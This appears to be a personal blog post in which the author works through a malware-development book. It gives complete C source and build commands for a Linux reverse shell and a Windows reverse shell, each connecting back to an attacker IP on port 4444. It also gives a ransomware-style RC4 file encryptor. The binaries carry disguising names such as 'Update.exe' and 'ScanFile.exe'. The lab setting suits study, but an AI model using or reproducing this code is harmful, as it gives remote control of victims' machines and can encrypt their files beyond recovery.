I recently picked several new books from Packt, including Malware Development for Ethical Hackers. This book aims to demonstrate some of the techniques seen in malware, and showcase writing similar samples using C/C++ for both Windows and Linux operating systems.
My codebase as I work through this book can be found on my GitHub, here.
Reverse Shells
The first examples dive into creating reverse shells.
Linux Reverse Shell

It worked! The book does not actually talk about compiling or executing the first example for linux, but I went ahead with gcc
to compile and then execute the program. I added some additional comments to my code for helping me (and others) in what some of the calls are doing. I have programmed for over a decade at this point, but I only had a brief stent with C related programming back during college, and nothing involving networking.
/*
Linux-Only Reverse Shell
18 Jan 2025
Eric
To build: gcc rev_shell.c
*/
#include <stdio.h> // C standard input/output
#include <unistd.h> // POSIX OS API
#include <netinet/ip.h> // Internet Address Family
#include <arpa/inet.h> // defs for internet operations
#include <sys/socket.h> // sockets
int main(){
const char* attacker_ip = "10.0.2.15";
// build address / port structure
// https://learn.microsoft.com/en-us/windows/win32/api/ws2def/ns-ws2def-sockaddr_in
struct sockaddr_in target_address;
target_address.sin_family = AF_INET; // internet
target_address.sin_port = htons(4444); // convert port to binary
// https://www.ibm.com/docs/en/zos/3.1.0?topic=lf-inet-aton-convert-internet-address-format-from-text-binary
inet_aton(attacker_ip, &target_address.sin_addr); // convert string address into binary
// create socket
int socket_file_descriptor = socket(AF_INET, SOCK_STREAM, 0);
// connect
connect(socket_file_descriptor, (struct sockaddr *)&target_address, sizeof(target_address));
// link stdinput 0, stdoutput 1, stderror 2 to socket
for (int index = 0; index < 3; index++){
dup2(socket_file_descriptor, index);
}
// spawn shell
execve("/bin/sh", NULL, NULL);
return 0;
}
Windows Reverse Shell
Similar concept but using win32 API calls instead. gcc
also cannot be used as a compiler while building on linux, but instead a mingw
compiler to cross-compile for Windows.
$ i686-w64-mingw32-g++ rev_shell_windows.c -o Update.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
This behemoth of a command
-lws2_32
loads the ws2_32 library-s
strips the symbol table and reloc info-ffunction-sections
places each function in its own section-fdata-sections
places each global variable in its own section-Wno-write-strings
suppresses warnings for writing string literals-Fno-exceptions
disables exception handling support-fmerge-all-constants
merges identical constants to reduce size-static-libstdc++
includes a static link of libstdc++-static-libgcc
includes a static link of libgcc-fpermissive
allows compiler to be more permissive when running into issues
I had to reconfigure my two linux / windows VMs to be able to properly communicate using a new NAT network with DHCP on 10.0.3.1/24
. With the appropriate IP addresses configured for each box, and the code given this new network adapter IP, the reverse shell is successful:

/*
Windows-Only Reverse Shell
18 Jan 2025
Eric
To build: i686-w64-mingw32-g++ 01_reverse_shell_windows.c -o Update.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
*/
#include <winsock2.h> // Sockets https://learn.microsoft.com/en-us/windows/win32/api/winsock2/
#include <stdio.h> // C standard input/output
#pragma comment(lib, "w2_32") // tells linker to use ws2_32.lib
//variables
WSADATA socketData;
SOCKET mainSocket;
struct sockaddr_in connectionAddress;
STARTUPINFO startupInfo; //https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfow
PROCESS_INFORMATION processInfo;
int main(int argc, char* argv[]){
// attacker connection info
char *attackerIP = "10.0.3.4";
short attackerPort = 4444;
// init socket library, version 2.2
WSAStartup(MAKEWORD(2,2), &socketData);
// create TCP IPv4 socket
// https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasocketw
// book uses (unsigned int)NULL instead of 0 for group and flags, which I have no idea why
mainSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
// build IPv4 IP:PORT connection struct
connectionAddress.sin_family = AF_INET;
connectionAddress.sin_port = htons(attackerPort);
connectionAddress.sin_addr.s_addr = inet_addr(attackerIP);
// connect
WSAConnect(mainSocket, (SOCKADDR*)&connectionAddress, sizeof(connectionAddress), NULL, NULL, NULL, NULL);
// process info
// https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfow
memset(&startupInfo,0, sizeof(startupInfo)); // load empty struct into memory
startupInfo.cb = sizeof(startupInfo); // struct size
startupInfo.dwFlags = STARTF_USESTDHANDLES; // additional info to in, out, err handles
// most important line, this sets the input, output and error streams to go through the socket
startupInfo.hStdInput = startupInfo.hStdOutput = startupInfo.hStdError = (HANDLE) mainSocket;
// spawn cmd shell, sending streams over socket
// https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &startupInfo, &processInfo);
exit(0);
}
File Encryption
I made a few changes to the original source code that allow the file to be passed as a parameter, and also allow the output filename to be dynamic using the original + a encrypted extension, such as many popular ransomware varieties do. This bare-bones first pass does not allow for decrypting and simply encrypts using RC4:

/*
* Example File Encryption
* 18 Jan 2025
* Eric
* To build: i686-w64-mingw32-g++ 01_encrypt.c -o ScanFile.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
*/
#include <windows.h>
#include <wincrypt.h>
#include <string.h>
#include <stdio.h>
#pragma comment(lib, "crypt32.lib")
void encrypt_file(LPCWSTR filename) {
// buffer to hold the plaintext and the ciphertext
BYTE buffer[1024];
DWORD bytesRead, bytesWritten;
printf("Add encryption extension.\n");
// encryption settings
LPCWSTR enc_extension = L".enc";
// length of original filename
size_t filename_length = wcslen(filename);
size_t new_extension_length = wcslen(enc_extension);
wchar_t encrypted_filename[MAX_PATH]; // allocate space for new
// copy original filename to buffer
wcscpy(encrypted_filename, filename);
// cat new extension
wcscat(encrypted_filename, enc_extension);
// open the original file, and create the new encrypted file
printf("Get file handles.\n");
HANDLE originalFile = CreateFileW(filename, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE newFile = CreateFileW(encrypted_filename, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// Get a handle to the CSP
HCRYPTPROV hProv;
CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
// Generate the session key
HCRYPTKEY hKey;
CryptGenKey(hProv, CALG_RC4, CRYPT_EXPORTABLE, &hKey);
// Read the plaintext file, encrypt the buffer, then write to the new file
printf("Encrypt file contents.\n");
while(ReadFile(originalFile, buffer, sizeof(buffer), &bytesRead, NULL) && bytesRead > 0) {
CryptEncrypt(hKey, 0, bytesRead < sizeof(buffer), 0, buffer, &bytesRead, sizeof(buffer));
WriteFile(newFile, buffer, bytesRead, &bytesWritten, NULL);
}
// Clean up
printf("Clean up.\n");
CryptReleaseContext(hProv, 0);
CryptDestroyKey(hKey);
CloseHandle(originalFile);
CloseHandle(newFile);
}
int main(int argc, char *argv[]) {
// check to see if a filename is passed as an arg
if (argc < 2) {
printf("Error: No filename provided.\n");
return 1;
}
// convert char arg into LPCWSTR
char* filename = argv[1];
int size = MultiByteToWideChar(CP_ACP, 0, filename, -1, NULL, 0);
wchar_t* wstr = new wchar_t[size];
MultiByteToWideChar(CP_ACP, 0, filename, -1, wstr, size);
// if so, encrypt it
encrypt_file(wstr);
return 0;
}